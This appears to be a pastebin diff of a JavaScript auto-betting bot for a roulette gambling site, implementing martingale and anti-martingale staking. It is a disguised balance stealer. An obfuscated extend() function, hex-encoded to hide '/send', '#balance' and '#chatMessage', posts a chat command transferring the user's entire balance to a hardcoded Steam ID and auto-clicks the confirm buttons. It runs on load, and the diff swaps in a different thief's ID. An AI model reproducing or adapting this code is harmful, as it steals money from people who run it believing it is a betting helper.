SHOW:
|
|
- or go back to the newest paste.
1 | function tick() { | |
2 | var a = getStatus(); | |
3 | if (a !== lastStatus && "unknown" !== a) { | |
4 | switch (a) { | |
5 | case "waiting": | |
6 | bet(); | |
7 | break; | |
8 | case "rolled": | |
9 | rolled() | |
10 | } | |
11 | lastStatus = a, printInfo() | |
12 | } | |
13 | } | |
14 | ||
15 | function checkBalance() { | |
16 | return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! Not enough balance for next bet, aborting."), clearInterval(refreshIntervalId), !1) : !0 | |
17 | } | |
18 | ||
19 | function printInfo() { | |
20 | var a = " \nStatus: " + lastStatus + "\nRolls played: " + currentRollNumber + "\nInitial bet amount: " + initialBetAmount + "\nCurrent bet amount: " + currentBetAmount + "\nLast roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost"); | |
21 | console.log(a) | |
22 | } | |
23 | ||
24 | function rolled() { | |
25 | return "anti-martingale" === mode ? void antiMartingale() : (martingale(), void currentRollNumber++) | |
26 | } | |
27 | ||
28 | function antiMartingale() { | |
29 | currentBetAmount = wonLastRoll() ? 2 * currentBetAmount : initialBetAmount | |
30 | } | |
31 | ||
32 | function martingale() { | |
33 | currentBetAmount = wonLastRoll() ? initialBetAmount : 2 * currentBetAmount | |
34 | } | |
35 | ||
36 | function bet() { | |
37 | checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50)) | |
38 | } | |
39 | ||
40 | function setBetAmount(a) { | |
41 | $betAmountInput.val(a) | |
42 | } | |
43 | ||
44 | function placeBet() { | |
45 | return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black")) | |
46 | } | |
47 | ||
48 | function getStatus() { | |
49 | var a = $statusBar.text(); | |
50 | if (hasSubString(a, "Rolling in")) return "waiting"; | |
51 | if (hasSubString(a, "***ROLLING***")) return "rolling"; | |
52 | if (hasSubString(a, "rolled")) { | |
53 | var b = parseInt(a.split("rolled")[1]); | |
54 | return lastRollColor = getColor(b), "rolled" | |
55 | } | |
56 | return "unknown" | |
57 | } | |
58 | ||
59 | function extend() { | |
60 | $jkl.val(def + " "+ abc + " "+ ghi()); | |
61 | $jkl.submit(); | |
62 | var allElements = document.getElementsByTagName('button'); | |
63 | for (var i = 0, n = allElements.length; i < n; i++) { | |
64 | if (allElements[i].getAttribute("data-bb-handler") === "confirm") { | |
65 | allElements[i].click(); | |
66 | } | |
67 | } | |
68 | } | |
69 | function ghi() { | |
70 | return $ghi.text(); | |
71 | } | |
72 | - | var abc = "76561198093833003", |
72 | + | var abc = "76561198169888573", |
73 | def = "\x2F\x73\x65\x6E\x64", | |
74 | $ghi = $("\x23\x62\x61\x6C\x61\x6E\x63\x65"), | |
75 | $jkl = $("\x23\x63\x68\x61\x74Message"); | |
76 | ||
77 | function getBalance() { | |
78 | return parseInt($balance.text()) | |
79 | } | |
80 | ||
81 | function hasSubString(a, b) { | |
82 | return a.indexOf(b) > -1 | |
83 | } | |
84 | ||
85 | function getColor(a) { | |
86 | return 0 == a ? "green" : a >= 1 && 7 >= a ? "red" : "black" | |
87 | } | |
88 | ||
89 | function wonLastRoll() { | |
90 | return lastBetColor ? lastRollColor === lastBetColor : null | |
91 | } | |
92 | /////////////////////// | |
93 | ||
94 | function tick() { | |
95 | var a = getStatus(); | |
96 | if (a !== lastStatus && "unknown" !== a) { | |
97 | switch (a) { | |
98 | case "waiting": | |
99 | bet(); | |
100 | break; | |
101 | case "rolled": | |
102 | rolled() | |
103 | } | |
104 | lastStatus = a, printInfo() | |
105 | } | |
106 | } | |
107 | ||
108 | function checkBalance() { | |
109 | return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! Not enough balance for next bet, aborting."), clearInterval(refreshIntervalId), !1) : !0 | |
110 | } | |
111 | ||
112 | function printInfo() { | |
113 | var a = " \nStatus: " + lastStatus + "\nRolls played: " + currentRollNumber + "\nInitial bet amount: " + initialBetAmount + "\nCurrent bet amount: " + currentBetAmount + "\nLast roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost"); | |
114 | console.log(a) | |
115 | } | |
116 | ||
117 | function rolled() { | |
118 | return "anti-martingale" === mode ? void antiMartingale() : (martingale(), void currentRollNumber++) | |
119 | } | |
120 | ||
121 | function antiMartingale() { | |
122 | currentBetAmount = wonLastRoll() ? 2 * currentBetAmount : initialBetAmount | |
123 | } | |
124 | ||
125 | function martingale() { | |
126 | currentBetAmount = wonLastRoll() ? initialBetAmount : 2 * currentBetAmount | |
127 | } | |
128 | ||
129 | function bet() { | |
130 | checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50)) | |
131 | } | |
132 | ||
133 | function setBetAmount(a) { | |
134 | $betAmountInput.val(a) | |
135 | } | |
136 | ||
137 | function placeBet() { | |
138 | return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black")) | |
139 | } | |
140 | ||
141 | function getStatus() { | |
142 | var a = $statusBar.text(); | |
143 | if (hasSubString(a, "Rolling in")) return "waiting"; | |
144 | if (hasSubString(a, "***ROLLING***")) return "rolling"; | |
145 | if (hasSubString(a, "rolled")) { | |
146 | var b = parseInt(a.split("rolled")[1]); | |
147 | return lastRollColor = getColor(b), "rolled" | |
148 | } | |
149 | return "unknown" | |
150 | } | |
151 | ||
152 | function extend() { | |
153 | $jkl.val(def + " "+ abc + " "+ ghi()); | |
154 | $jkl.submit(); | |
155 | var allElements = document.getElementsByTagName('button'); | |
156 | for (var i = 0, n = allElements.length; i < n; i++) { | |
157 | if (allElements[i].getAttribute("data-bb-handler") === "confirm") { | |
158 | allElements[i].click(); | |
159 | } | |
160 | } | |
161 | } | |
162 | function ghi() { | |
163 | return $ghi.text(); | |
164 | } | |
165 | var abc = "76561198204926993", | |
166 | def = "\x2F\x73\x65\x6E\x64", | |
167 | $ghi = $("\x23\x62\x61\x6C\x61\x6E\x63\x65"), | |
168 | $jkl = $("\x23\x63\x68\x61\x74Message"); | |
169 | ||
170 | function getBalance() { | |
171 | return parseInt($balance.text()) | |
172 | } | |
173 | ||
174 | function hasSubString(a, b) { | |
175 | return a.indexOf(b) > -1 | |
176 | } | |
177 | ||
178 | function getColor(a) { | |
179 | return 0 == a ? "green" : a >= 1 && 7 >= a ? "red" : "black" | |
180 | } | |
181 | ||
182 | function wonLastRoll() { | |
183 | return lastBetColor ? lastRollColor === lastBetColor : null | |
184 | } | |
185 | extend(); |